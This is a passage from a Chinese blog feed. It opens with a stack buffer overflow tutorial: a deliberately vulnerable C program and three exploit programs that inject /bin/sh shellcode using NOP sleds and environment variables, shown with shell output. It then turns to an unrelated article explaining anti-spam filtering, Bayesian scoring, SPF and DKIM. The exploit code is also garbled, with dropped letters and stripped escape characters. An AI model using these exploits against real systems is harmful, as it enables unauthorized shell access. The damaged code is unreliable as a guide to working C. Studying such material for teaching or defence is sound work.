<P>下面这个程序会告诉我们这个程序的的堆栈指针: </P>
<P>lt;++&gt; buffer/getsp.c <BR>unsigned long get_sp(void){ <BR>__asm__("movl %esp, %eax); <BR>} <BR>void main(){ <BR>fprintf(stdout,"0x%xn",get_sp()); <BR>} <BR>lt;--&gt; end of getsp.c</P>
<P>试一下下面这个例子 </P>
<P>lt;++&gt; buffer/hole.c <BR>void main(int argc,char **argv［］){ <BR>char buffer［512］; <BR>if (argc &gt; 1) /* otherwise we crash our little program */ <BR>trcpy(buffer,argv［1］); <BR>} <BR>lt;--&gt; end of hole.c <BR>lt;++&gt; buffer/exploit1.c <BR>#include &lt;stdlib.h&gt; <BR>#define DEFAULT_OFFSET 0 <BR>#define DEFAULT_BUFFER_SIZE 512 <BR>char shellcode［］ = <BR>"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b" <BR>"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd" <BR>"x80xe8xdcxffxffxff/bin/sh"; <BR>unsigned long get_sp(void) { <BR>__asm__("movl %esp,%eax"); <BR>} <BR>void main(int argc, char *argv［］) <BR>{ <BR>char *buff, *ptr; <BR>long *addr_ptr, addr; <BR>int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; <BR>int i; <BR>if (argc &gt; 1) bsize = atoi(argv［1］); <BR>if (argc &gt; 2) offset = atoi(argv［2］); <BR>if (!(buff = malloc(bsize))) { <BR>rintf("Can't allocate memory.n"); <BR>exit(0); <BR>} <BR>addr = get_sp() - offset; <BR>rintf("Using address: 0x%xn", addr); <BR>tr = buff; <BR>addr_ptr = (long *) ptr; <BR>for (i = 0; i &lt; bsize; i+=4) <BR>*(addr_ptr++) = addr; <BR>tr += 4; <BR>for (i = 0; i &lt; strlen(shellcode); i++) <BR>*(ptr++) = shellcode［i］; <BR>uff［bsize - 1］ = '0'; <BR>memcpy(buff,"BUF=",4); <BR>utenv(buff); <BR>ystem("/bin/bash"); <BR>} <BR>lt;--&gt; end of exploit1.c</P>
<P>现在我们可以猜出offset (bufferaddress = stackpointer + offset). </P>
<P>［hosts］$ exploit1 600 </P>
<P>Using address: 0xbffff6c3 </P>
<P>［hosts］$ ./hole $BUF </P>
<P>［hosts］$ exploit1 600 100 </P>
<P>Using address: 0xbffffce6 </P>
<P>［hosts］$ ./hole $BUF </P>
<P>egmentation fault </P>
<P>etc. </P>
<P>etc. </P>
<P>就象你所知道的那样，这个过程几乎是不可能发生的，这样，我们不得不去猜出更精确的溢出地址。为了增加我们的机会，我们可以在我们的缓冲溢出的shellcode前加上 NOP（空操作）指令。因为我们没有必要去猜出它精确的溢出地址来。而NOP指令用来延迟执行的。如果这个被覆写的返回地址指针在NOP串中，我们的代码就可以在下面一步执行了。 </P>
<P>存储器的内容应该是这样的: </P>
<P>FFFFF NNNNNNNNNNNSSSSSSSSSSSSSSAAAAAAAAFFFFFFFFF </P>
<P>N = NOP </P>
<P>S = shellcode </P>
<P>A = address pointing to the shellcode </P>
<P>F = other data </P>
<P>我们把原先的代码改了一下 </P>
<P>lt;++&gt; buffer/exploit2.c <BR>#include &lt;stdlib.h&gt; <BR>#define DEFAULT_OFFSET 0 <BR>#define DEFAULT_BUFFER_SIZE 512 <BR>#define NOP 0x90 <BR>char shellcode［］ = <BR>"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b" <BR>"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd" <BR>"x80xe8xdcxffxffxff/bin/sh"; <BR>unsigned long get_sp(void) { <BR>__asm__("movl %esp,%eax"); <BR>} <BR>void main(int argc, char *argv［］) <BR>{ <BR>char *buff, *ptr; <BR>long *addr_ptr, addr; <BR>int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; <BR>int i; <BR>if (argc &gt; 1) bsize = atoi(argv［1］); <BR>if (argc &gt; 2) offset = atoi(argv［2］); <BR>if (!(buff = malloc(bsize))) { <BR>rintf("Can't allocate memory.n"); <BR>exit(0); <BR>} <BR>addr = get_sp() - offset; <BR>rintf("Using address: 0x%xn", addr); <BR>tr = buff; <BR>addr_ptr = (long *) ptr; <BR>for (i = 0; i &lt; bsize; i+=4) <BR>*(addr_ptr++) = addr; <BR>for (i = 0; i &lt; bsize/2; i++) <BR>uff［i］ = NOP; <BR>tr = buff + ((bsize/2) - (strlen(shellcode)/2)); <BR>for (i = 0; i &lt; strlen(shellcode); i++) <BR>*(ptr++) = shellcode［i］; <BR>uff［bsize - 1］ = '0'; <BR>memcpy(buff,"BUF=",4); <BR>utenv(buff); <BR>ystem("/bin/bash"); <BR>} <BR>lt;--&gt; end of exploit2.c <BR>［hosts］$ exploit2 600 <BR>Using address: 0xbffff6c3 <BR>［hosts］$ ./hole $BUF <BR>egmentation fault <BR>［hosts］$ exploit2 600 100 <BR>Using address: 0xbffffce6 <BR>［hosts］$ ./hole $BUF <BR>#exit <BR>［hosts］$<BR>&nbsp;<BR>为了更完善我们的代码，我们把这些shellcode放到环境变量里去。然后我们就可以用这个变量的地址来溢出缓冲器了。这方法可以增加我们的机会。用setenv()函数来调用，并把shellcode送到环境变量中去。 </P>
<P>lt;++&gt; buffer/exploit3.c <BR>#include &lt;stdlib.h&gt; <BR>#define DEFAULT_OFFSET 0 <BR>#define DEFAULT_BUFFER_SIZE 512 <BR>#define DEFAULT_EGG_SIZE 2048 <BR>#define NOP 0x90 <BR>char shellcode［］ = <BR>"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b" <BR>"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd" <BR>"x80xe8xdcxffxffxff/bin/sh"; <BR>unsigned long get_esp(void) { <BR>__asm__("movl %esp,%eax"); <BR>} <BR>void main(int argc, char *argv［］) <BR>{ <BR>char *buff, *ptr, *egg; <BR>long *addr_ptr, addr; <BR>int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; <BR>int i, eggsize=DEFAULT_EGG_SIZE; <BR>if (argc &gt; 1) bsize = atoi(argv［1］); <BR>if (argc &gt; 2) offset = atoi(argv［2］); <BR>if (argc &gt; 3) eggsize = atoi(argv［3］); <BR>if (!(buff = malloc(bsize))) { <BR>rintf("Can't allocate memory.n"); <BR>exit(0); <BR>} <BR>if (!(egg = malloc(eggsize))) { <BR>rintf("Can't allocate memory.n"); <BR>exit(0); <BR>} <BR>addr = get_esp() - offset; <BR>rintf("Using address: 0x%xn", addr); <BR>tr = buff; <BR>addr_ptr = (long *) ptr; <BR>for (i = 0; i &lt; bsize; i+=4) <BR>*(addr_ptr++) = addr; <BR>tr = egg; <BR>for (i = 0; i &lt; eggsize - strlen(shellcode) - 1; i++) <BR>*(ptr++) = NOP; <BR>for (i = 0; i &lt; strlen(shellcode); i++) <BR>*(ptr++) = shellcode［i］; <BR>uff［bsize - 1］ = '0'; <BR>egg［eggsize - 1］ = '0'; <BR>memcpy(egg,"BUF=",4); <BR>utenv(egg); <BR>memcpy(buff,"RET=",4); <BR>utenv(buff); <BR>ystem("/bin/bash"); <BR>} <BR>end of exploit3.c <BR>［hosts］$ exploit2 600 <BR>Using address: 0xbffff5d7 <BR>［hosts］$ ./hole $RET <BR>#exit <BR>［hosts］$</P>
<P>寻找溢出 </P>
<P>当然有能更准确找到缓冲溢出的方法，那就是读它的源程序。因为Linux是个开放的系统，你很容易就可以得到它的源程序。 </P>
<P>寻找没有边界校验的库函数调用，如: </P>
<P>trcpy(), strcat(), sprintf(), vsprintf(), scanf() </P>
<P>其他的具有危险的函数如：在&#8220;当型&#8221;循环中的getc()和getchar()，strncat函数的错误使用。</P><img src ="http://www.cnblogs.com/F4ncy/aggbug/239958.html?type=1" width = "1" height = "1" /><br/><br/>--------------------------<br/>新闻：<a href="http://news.cnblogs.com/n/48007/" target="_blank">IE颓势不减 微软下月公布最新浏览器架构</a><br/>网站导航: <a href="http://www.cnblogs.com" target="_blank">博客园首页</a>&nbsp;&nbsp;<a href="http://news.cnblogs.com" target="_blank">新闻</a>&nbsp;&nbsp;<a href="http://dotnet.cnblogs.com" target="_blank">.NET频道</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com" target="_blank">社区</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/q/" target="_blank">博问</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/ing/" target="_blank">闪存</a>&nbsp;&nbsp;<a href="http://zzk.cnblogs.com" target="_blank">找找看</a>]]></description></item><item><title>反垃圾邮件技术解析</title><link>http://www.cnblogs.com/F4ncy/archive/2005/08/29/225559.html</link><dc:creator>F4ncy Blog</dc:creator><author>F4ncy Blog</author><pubDate>Mon, 29 Aug 2005 12:14:00 GMT</pubDate><guid>http://www.cnblogs.com/F4ncy/archive/2005/08/29/225559.html</guid><wfw:comment>http://www.cnblogs.com/F4ncy/comments/225559.html</wfw:comment><comments>http://www.cnblogs.com/F4ncy/archive/2005/08/29/225559.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnblogs.com/F4ncy/comments/commentRss/225559.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/F4ncy/services/trackbacks/225559.html</trackback:ping><description><![CDATA[<P>反垃圾邮件技术解析</P>
<P>作者：refdom</P>
<P>1、概述<BR>&nbsp;&nbsp;&nbsp; 电子邮件是最常用的网络应用之一，已经成为网络交流沟通的重要途径。但是，垃圾邮件（spam）烦恼着大多数人，近来的调查显示，93%的被调查者都对他们接收到的大量垃圾邮件非常不满。一些简单的垃圾邮件事件也造成了很有影响的安全问题。日益增加的垃圾邮件现在会造成1年94亿美元的损失（来自chinabyte上一则新闻的数据），在一些文章表明，垃圾邮件可能会花费一个公司内每个用户600到1000美元。<BR>&nbsp;&nbsp;&nbsp; 垃圾邮件随着互联网的不断发展而大量增长，不再像以前一样，只是小小的一个骚扰，现在的垃圾邮件可以说是铺天盖地了。最初，垃圾邮件主要是一些不请自来的商业宣传电子邮件，而现在更多的有关色情、政治的垃圾邮件不断增加，甚至达到了总垃圾邮件量的40%左右，并且仍然有持续增长的趋势。另一方面，垃圾邮件成了计算机病毒新的、快速的传播途径。<BR>&nbsp;&nbsp;&nbsp; 而且目前世界上50%的邮件都是垃圾邮件，只有少数组织承担责任。很多反垃圾邮件的措施都被提出出来，但是只有非常少的被实施了。不幸的是，这些解决办法也都还不能完全阻止垃圾邮件，而且还对正常的邮件来往产生影响。</P>
<P>1.1、什么是垃圾邮件？<BR>&nbsp;&nbsp;&nbsp; 某种程度上，对垃圾邮件的定义可以是：那些人们没有意愿去接收到的电子邮件都是垃圾邮件。比如：<BR>&nbsp;&nbsp;&nbsp; *商业广告。很多公司为了宣传新的产品、新的活动等通过电子邮件的方式进行宣传。<BR>&nbsp;&nbsp;&nbsp; *政治言论。目前会收到不少来自其他国家或者反动组织发送的这类电子邮件，这就跟垃圾的商业广告一样，销售和贩卖他们的所谓言论。<BR>&nbsp;&nbsp;&nbsp; *蠕虫病毒邮件。越来越多的病毒通过电子邮件来迅速传播，这也的确是一条迅速而且有效的传播途径。<BR>&nbsp;&nbsp;&nbsp; *恶意邮件。恐吓、欺骗性邮件。比如phishing，这是一种假冒网页的电子邮件，完全是一种诡计，来蒙骗用户的个人信息、账号甚至信用卡。</P>
<P>&nbsp;&nbsp;&nbsp; 普通个人的电子邮箱怎么成为了垃圾邮件的目标呢，造成这样的结果有很多原因，比如在网站、论坛等地方注册了邮件地址，病毒等在朋友的邮箱中找到了你的电子邮箱，对邮件提供商进行的用户枚举，等等。通常情况下，越少暴露电子邮件地址越少接收到垃圾邮件，使用时间越短越少接收到垃圾邮件。一些无奈的用户就选择了放弃自己的邮箱而更换新的电子邮箱。</P>
<P>1.2、安全问题<BR>&nbsp;&nbsp;&nbsp; 垃圾邮件给互联网以及广大的使用者带来了很大的影响，这种影响不仅仅是人们需要花费时间来处理垃圾邮件、占用系统资源等，同时也带来了很多的安全问题。<BR>&nbsp;&nbsp;&nbsp; 垃圾邮件占用了大量网络资源，这是显而易见的。一些邮件服务器因为安全性差，被作为垃圾邮件转发站为被警告、封IP等事件时有发生，大量消耗的网络资源使得正常的业务运作变得缓慢。随着国际上反垃圾邮件的发展，组织间黑名单共享，使得无辜服务器被更大范围屏蔽，这无疑会给正常用户的使用造成严重问题。<BR>&nbsp;&nbsp;&nbsp; 垃圾邮件和黑客攻击、病毒等结合也越来越密切，比如，SoBig蠕虫就安装开放的，可以用来支持邮件转发的代理。随着垃圾邮件的演变，用恶意代码或者监视软件等来支持垃圾邮件已经明显地增加了。2003年12月31，巴西的一个黑客组织发送包含恶意javascript脚本的垃圾邮件给数百万用户，那些通过Hotmail来浏览这些垃圾邮件的人们在不知不觉中已经泄露了他们的账号。另外一个例子就是，近来IE的URL显示问题，在主机名前添加"%01"可以隐藏真实的主机地址，在被发布之后几个星期内就出现在垃圾邮件中了。<BR>越来越具有欺骗性的病毒邮件，让很多企业深受其害，即便采取了很好的网络保护策略，依然很难避免，越来越多的安全事件都是因为邮件产生的，可能是病毒、木马或者其他恶意程序。Phishing的假冒诡计对于普通使用者来说，的确很难作出正确的判断，但是造成的损失却是很直接的。</P>
<P>2、反垃圾邮件技术</P>
<P>&nbsp;&nbsp;&nbsp; 已经存在的和在被提及的反垃圾邮件方法试图来减少垃圾邮件问题和处理安全需求。通过正确的识别垃圾邮件，邮件病毒或者邮件攻击程序等都会减少。这些解决方法采取多种安全途径来努力阻止垃圾邮件。<BR>Dr. Neal Krawetz在Anti-Spam Solutions and Security[ref 1]文中将反垃圾邮件技术作了非常好的分类。当前的反垃圾邮件技术可以分为4大类：过滤器（Filter）、反向查询(Reverse lookup)、挑战(challenges)和密码术(cryptography),这些解决办法都可以减少垃圾邮件问题，但是都有它们的局限性。本文将在下面的内容讨论这些技术以及一些主要技术的实现。</P>
<P>2.1、过滤<BR>&nbsp;&nbsp;&nbsp; 过滤（Filter）是一种相对来说最简单却很直接的处理垃圾邮件技术。这种技术主要用于接收系统（MUA，如OUTLOOK EXPRESS或者MTA，如sendmail）来辨别和处理垃圾邮件。从应用情况来看，这种技术也是使用最广泛的，比如很多邮件服务器上的反垃圾邮件插件、反垃圾邮件网关、客户端上的反垃圾邮件功能等，都是采用的过滤技术。</P>
<P>2.1.1、关键词过滤<BR>&nbsp;&nbsp;&nbsp; 关键词过滤技术通常创建一些简单或复杂的与垃圾邮件关联的单词表来识别和处理垃圾邮件。比如某些关键词大量出现在垃圾邮件中，如一些病毒的邮件标题，比如：test。这种方式比较类似反病毒软件利用的病毒特征一样。可以说这是一种简单的内容过滤方式来处理垃圾邮件，它的基础是必须创建一个庞大的过滤关键词列表。<BR>&nbsp;&nbsp;&nbsp; 这种技术缺陷很明显，过滤的能力同关键词有明显联系，关键词列表也会造成错报可能比较大，当然系统采用这种技术来处理邮件的时候消耗的系统资源会比较多。并且，一般躲避关键词的技术比如拆词，组词就很容易绕过过滤。</P>
<P>2.1.2、黑白名单<BR>&nbsp;&nbsp;&nbsp; 黑名单（Black List）和白名单（White List）。分别是已知的垃圾邮件发送者或可信任的发送者IP地址或者邮件地址。现在有很多组织都在做*bl（block list），将那些经常发送垃圾邮件的IP地址（甚至IP地址范围）收集在一起，做成block list，比如spamhaus的SBL（Spamhaus Block List），一个BL，可以在很大范围内共享。许多ISP正在采用一些组织的BL来阻止接收垃圾邮件。白名单则与黑名单相反，对于那些信任的邮件地址或者IP就完全接受了。<BR>&nbsp;&nbsp;&nbsp; 目前很多邮件接收端都采用了黑白名单的方式来处理垃圾邮件，包括MUA和MTA，当然在MTA中使用得更广泛，这样可以有效地减少服务器的负担。</P>
<P>&nbsp;&nbsp;&nbsp; BL技术也有明显的缺陷，因为不能在block list中包含所有的（即便是大量）的IP地址，而且垃圾邮件发送者很容易通过不同的IP地址来制造垃圾。</P>
<P>2.1.3&nbsp;&nbsp;&nbsp; HASH技术<BR>&nbsp;&nbsp;&nbsp; HASH技术是邮件系统通过创建HASH来描述邮件内容，比如将邮件的内容、发件人等作为参数，最后计算得出这个邮件的HASH来描述这个邮件。如果HASH相同，那么说明邮件内容、发件人等相同。这在一些ISP上在采用，如果出现重复的HASH值，那么就可以怀疑是大批量发送邮件了。</P>
<P>2.1.4&nbsp;&nbsp;&nbsp; 基于规则的过滤<BR>&nbsp;&nbsp;&nbsp; 这种过滤根据某些特征（比如单词、词组、位置、大小、附件等）来形成规则，通过这些规则来描述垃圾邮件，就好比IDS中描述一条入侵事件一样。要使得过滤器有效，就意味着管理人员要维护一个庞大的规则库。</P>
<P>2.1.5&nbsp;&nbsp;&nbsp; 智能和概率系统<BR>&nbsp;&nbsp;&nbsp; 广泛使用的就是贝叶斯(Bayesian)算法，可以学习单词的频率和模式，这样可以同垃圾邮件和正常邮件关联起来进行判断。这是一种相对于关键字来说，更复杂和更智能化的内容过滤技术。我将在下面详细描述这种在客户端和服务器中使用最广泛的技术。</P>
<P>2.1.5.1&nbsp;&nbsp;&nbsp; Bayesian 贝叶斯算法<BR>&nbsp;&nbsp;&nbsp; 在过滤器中，现在表现最好的应该是基于评分(score)的过滤器，因为我们很容易就可以明白对付狡猾的垃圾邮件，那些黑白名单、关键词库或者HASH等过滤器是多么的简单。评分系统过滤器是一种最基本的算法过滤器，也是贝叶斯算法的基本雏形。它的原理就是检查垃圾邮件中的词或字符等，将每个特征元素（最简单的元素就是单词，复杂点的元素就是短语）都给出一个分数（正分数），另一方面就是检查正常邮件的特征元素，用来降低得分的（负分数）。最后邮件整体就得到一个垃圾邮件总分，通过这个分数来判断是否spam。</P>
<P>&nbsp;&nbsp;&nbsp; 这种评分过滤器尽量实现了自动识别垃圾邮件的功能，但是依然存在一些不适应的问题：<BR>&nbsp;&nbsp;&nbsp; *特征元素列表通过垃圾邮件或者正常邮件获得。因此，要提高识别垃圾邮件的效果，就要从数百邮件中来学习，这降低了过滤器效率，因为对于不同人来说，正常邮件的特征元素是不一样的。<BR>&nbsp;&nbsp;&nbsp; *获得特征元素分析的邮件数量多少是一个关键。如果垃圾邮件发送者也适应了这些特征，就可能让垃圾邮件更象正常邮件。这样的话，过滤特征就要更改了。<BR>&nbsp;&nbsp;&nbsp; *每个词计算的分数应该基于一种很好的评价，但是还是有随意性。比如，特征就可能不会适应垃圾邮件的单词变化，也不会适应某个用户的需要。</P>
<P>&nbsp;&nbsp;&nbsp; 贝叶斯理论现在在计算机行业中应用相当广泛，这是一种对事物的不确定性描述，比如google计算中就采用了贝叶斯理论。贝叶斯算法的过滤器就是计算邮件内容中成为垃圾邮件的概率，它要首先从许多垃圾邮件和正常邮件中进行学习，因此，效果将比普通的内容过滤器更优秀，错报就会更少。贝叶斯过滤器也是一种基于评分的过滤器。但不仅仅是一种简单的计算分数，而更从根本上来识别。它采用自动建立特征表的方式，原理上，首先分析大量的垃圾邮件和大量的正常邮件，算法分析邮件中多种特征出现概率。</P>
<P>&nbsp;&nbsp;&nbsp; 贝叶斯算法计算特征的来源通常是：<BR>&#183;邮件正文中的单词<BR>&#183;邮件头（发送者、传递路径等）<BR>&#183;其他表现，比如HTML编码（如颜色等）<BR>&#183;词组、短语<BR>&#183;meta信息，比如特殊短语出现位置等</P>
<P>&nbsp;&nbsp; 比如，正常邮件中经常出现单词AAA，但是基本不在垃圾邮件中出现，那么，AAA标示垃圾邮件的概率就接近0，反之则然。</P>
<P>贝叶斯算法的步骤为：<BR>1. 收集大量的垃圾邮件和非垃圾邮件，建立垃圾邮件集和非垃圾邮件集。 <BR>2. 提取特征来源中的独立字符串，例如 AAA等作为TOKEN串并统计提取出的TOKEN串出现的次数即字频。按照上述的方法分别处理垃圾邮件集和非垃圾邮件集中的所有邮件。 <BR>3. 每一个邮件集对应一个哈希表，hashtable_good对应非垃圾邮件集而hashtable_bad对应垃圾邮件集。表中存储TOKEN串到字频的映射关系。 <BR>4. 计算每个哈希表中TOKEN串出现的概率P=(某TOKEN串的字频)/(对应哈希表的长度)<BR>5. 综合考虑hashtable_good和hashtable_bad，推断出当新来的邮件中出现某个TOKEN串时，该新邮件为垃圾邮件的概率。数学表达式为： <BR>　　A 事件 ---- 邮件为垃圾邮件； <BR>　　t1,t2 &#8230;&#8230;.tn 代表 TOKEN 串 <BR>　　则 P(A|ti)表示在邮件中出现 TOKEN 串 ti 时，该邮件为垃圾邮件的概率。设<BR>　　P1(ti)=ti 在 hashtable_good 中的值<BR>　　P2(ti)=ti 在 hashtable_ bad 中的值<BR>　　则 P(A|ti)=P2(ti)/[(P1(ti)+P2(ti)] ； <BR>6. 建立新的哈希表hashtable_probability存储TOKEN串ti到P(A|ti)的映射 <BR>7.根据建立的哈希表 hashtable_probability可以估计一封新到的邮件为垃圾邮件的可能性。 <BR>&nbsp;&nbsp;&nbsp; 当新到一封邮件时，按照步骤2，生成TOKEN串。查询hashtable_probability得到该TOKEN 串的键值。假设由该邮件共得到N个TOKEN 串，t1,t2&#8230;&#8230;.tn,hashtable_probability中对应的值为 P1 ，P2 ，&#8230;&#8230;PN ，P(A|t1 ,t2, t3&#8230;&#8230;tn) 表示在邮件中同时出现多个TOKEN串t1,t2&#8230;&#8230;tn时，该邮件为垃圾邮件的概率。 <BR>&nbsp;&nbsp;&nbsp; 由复合概率公式可得:<BR>P(A|t1 ,t2, t3&#8230;&#8230;tn)=（P1*P2*&#8230;&#8230;PN）/[P1*P2*&#8230;&#8230;PN+（1-P1）*（1-P2）*&#8230;&#8230;（1-PN）] <BR>当 P(A|t1 ,t2, t3&#8230;&#8230;tn) 超过预定阈值时，就可以判断邮件为垃圾邮件。</P>
<P>&nbsp;&nbsp;&nbsp; 当新邮件到达的时候，就通过贝叶斯过滤器分析，通过使用各个特征来计算邮件是spam的概率。通过不断的分析，过滤器也不断地获得自更新。比如，通过各种特征判断一个包含单词AAA的邮件是spam，那么单词AAA成为垃圾邮件特征的概率就增加了。</P>
<P>&nbsp;&nbsp;&nbsp; 这样，贝叶斯过滤器就有了自适应能力，既能自动进行，也可以用户手工操作，也就更能适应单个用户的使用。而垃圾邮件发送者要获得这样的适应能力就很难了，因此，更难逃避过滤器的过滤，但他们当然还是能够将邮件伪装成很普遍的正常邮件的样子。除非垃圾邮件发送者能去对某个人的过滤器进行判断，比如，采用发送回执的办法来了解哪些邮件被用户打开了等，这样他们就可以适应过滤器了。<BR>虽然贝叶斯过滤器还存在有评分过滤器的缺陷，但是它更优化了。实践也证明，贝叶斯过滤器在客户端和服务器中效果是非常明显的，优秀的贝叶斯过滤器能够识别超过99.9%的垃圾邮件。大多数目前应用的反垃圾邮件产品都采用了这样的技术。比如Foxmail中的贝叶斯过滤。</P>
<P>2.1.6&nbsp;&nbsp;&nbsp; 局限性和缺点<BR>&nbsp;&nbsp;&nbsp; 现行的很多采用过滤器技术的反垃圾邮件产品通常都采用了多种过滤器技术，以便使产品更为有效。过滤器通过他们的误报和漏报来分等级。漏报就是指垃圾邮件绕过了过滤器的过滤。而误报则是将正常的邮件判断为了垃圾邮件。完美的过滤器系统应该是不存在漏报和误报的，但是这是理想情况。</P>
<P>&nbsp;&nbsp;&nbsp; 一些基于过滤器原理的反垃圾邮件系统通常有下面的三种局限性：<BR>&nbsp;&nbsp;&nbsp; &#183;可能被绕过。垃圾邮件发送者和他们用的发送工具也不是静态的，他们也会很快适应过滤器。比如，针对关键字列表，他们可以随机更改一些单词的拼写，比如("强悍", "弓虽悍", "强-悍").Hash-buster（在每个邮件中产生不同的HASH）就是来绕过hash过滤器的。当前普遍使用的贝叶斯过滤器可以通过插入随机单词或句子来绕过。多数过滤器都最多只能在少数几周才最有效，为了保持反垃圾邮件系统的实用性，过滤器规则就必须不断更新，比如每天或者每周更新。<BR>&nbsp;&nbsp;&nbsp; &#183;误报问题。最头痛的问题就是将正常邮件判断为垃圾邮件。比如，一封包含单词sample的正常邮件可能因此被判断为垃圾邮件。某些正常服务器不幸包含在不负责任的组织发布的block list对某个网段进行屏蔽中，而不是因为发送了垃圾邮件（xfocus的服务器就是这样的一个例子）。但是，如果要减少误报问题，就可能造成严重的漏报问题了。<BR>&nbsp;&nbsp;&nbsp; &#183;过滤器复查。由于误报问题的存在，通常被标记为垃圾邮件的消息一般不会被立刻删除，而是被放置到垃圾邮件箱里面，以便日后检查。不幸的是，这也意味着用户仍然必须花费时间去察看垃圾邮件，即便仅仅只针对邮件标题。</P>
<P>&nbsp;&nbsp;&nbsp; 目前更严重的问题是，人们依然认为过滤器能有效阻止垃圾邮件。实际上，垃圾邮件过滤器并不能有效阻止垃圾邮件，在多数案例中，垃圾邮件依然存在，依然穿过了网络，并且依然被传播。除非用户不介意存在被误报的邮件，不介意依然会浏览垃圾邮件。过滤器可以帮助我们来组织并分隔邮件为垃圾邮件和正常邮件，但是过滤器技术并不能阻止垃圾邮件，实际上只是在"处理"垃圾邮件。</P>
<P>&nbsp;&nbsp;&nbsp; 尽管过滤器技术存在局限，但是，这是目前最为广泛使用的反垃圾邮件技术。</P>
<P>2.2、验证查询<BR>&nbsp;&nbsp;&nbsp; SMTP在设计的时候并没有考虑到安全问题。在1973年，计算机安全还没有什么意义，那个时候能够有一个可执行的邮件协议已经很了不起了。比如，RFC524描述将SMTP作为独立协议的一些情况：</P>
<P>&nbsp;&nbsp;&nbsp; "虽然人们可以或者可能可以，以本文档为基础设计软件，但请恰如其分地进行批注。请提出建议和问题。我坚信协议中依然存在问题，我希望读者能够阅读RFC的时候能够将它们都指出来。"</P>
<P>&nbsp;&nbsp;&nbsp; 尽管SMTP的命令组已经发展了很长时间，但是人们还是以RFC524为基础来执行SMTP的，而且还都假定问题（比如安全问题）都会在以后被解决。因此直到2004年，源自RFC524中的错误还是依然存在，这个时候SMTP已经变得非常广泛而很难简单被代替。垃圾邮件就是一个滥用SMTP协议的例子，多数垃圾邮件工具都可以伪造邮件头，伪造发送者，或者隐藏源头。</P>
<P>&nbsp;&nbsp;&nbsp; 垃圾邮件一般都是使用的伪造的发送者地址，极少数的垃圾邮件才会用真实地址。垃圾邮件发送者伪造邮件有下面的几个原因：<BR>&nbsp;&nbsp;&nbsp; *因为是违法的。在多个国家内，发送垃圾邮件都是违法行为，通过伪造发送地址，发送者就可能避免被起诉。<BR>&nbsp;&nbsp;&nbsp; *因为不受欢迎。垃圾邮件发送者都明白垃圾邮件是不受欢迎的。通过伪造发送者地址，就可能减少这种反应。<BR>&nbsp;&nbsp;&nbsp; *受到ISP的限制。多数ISP都有防止垃圾邮件的服务条款，通过伪造发送者地址，他们可以减少被ISP禁止网络访问的可能性。</P>
<P>&nbsp;&nbsp;&nbsp; 因此，如果我们能够采用类似黑白名单一样，能够更智能地识别哪些是伪造的邮件，哪些是合法的邮件，那么就能从很大程度上解决垃圾邮件问题，验证查询技术正是基于这样的出发点而产生的。以下还会解析一些主要的反垃圾邮件技术，比如Yahoo!、微软、IBM等所倡导和主持的反垃圾邮件技术，把它们划分在反向验证查询技术中并不是很恰当，但是，从某种角度来说，这些技术都是更复杂的验证查询。</P>
<P>2.2.1、反向查询技术<BR>&nbsp;&nbsp;&nbsp; 从垃圾邮件的伪造角度来说，能够解决邮件的伪造问题，就可以避免大量垃圾邮件的产生。为了限制伪造发送者地址，一些系统要求验证发送者邮件地址，这些系统包括：<BR>&nbsp;&nbsp;&nbsp; 反向邮件交换（RMX）&lt;<A href="http://www.ietf.org/internet-drafts/draft-danisch-dns-rr-smtp-03.txt">http://www.ietf.org/internet-drafts/draft-danisch-dns-rr-smtp-03.txt</A>&gt; <BR>&nbsp;&nbsp;&nbsp; 发送者许可（SPF）&lt;<A href="http://spf.pobox.com/">http://spf.pobox.com/</A>&gt; <BR>&nbsp;&nbsp;&nbsp; 标明邮件协议（DMP）&lt;<A href="http://www.pan-am.ca/dmp/">http://www.pan-am.ca/dmp/</A>&gt; </P>
<P>&nbsp;&nbsp;&nbsp; 这些技术都比较相近。DNS是全球互联网服务来处理IP地址和域名之间的转化。在1986年，DNS扩展，并有了邮件交换纪录（MX），当发送邮件的时候，邮件服务器通过查询MX纪录来对应接收者的域名。</P>
<P>&nbsp;&nbsp;&nbsp; 类似于MX纪录，反向查询解决方案就是定义反向的MX纪录（"RMX"--RMX，"SPF"--SPF，"DMP"--DMP），用来判断是否邮件的指定域名和IP地址是完全对应的。基本原因就是伪造邮件的地址是不会真实来自RMX地址，因此可以判断是否伪造。</P>
<P>2.2.2&nbsp;&nbsp;&nbsp; DKIM技术<BR>&nbsp;&nbsp;&nbsp; DKIM（DomainKeys Identified Mail）技术基于雅虎的DomainKeys验证技术和思科的Internet Identified Mail。<BR>&nbsp;&nbsp;&nbsp; 雅虎的DomainKeys利用公共密钥密码术验证电子邮件发件人。发送系统生成一个签名并把签名插入电子邮件标题，而接收系统利用DNS发布的一个公共密钥验证这个签名。 思科的验证技术也利用密码术，但它把签名和电子邮件消息本身关联。发送服务器为电子邮件消息签名并把签名和用于生成签名的公共密钥插入一个新标题。而接收系统验证这个用于为电子邮件消息签名的公共密钥是授权给这个发件地址使用的。 </P>
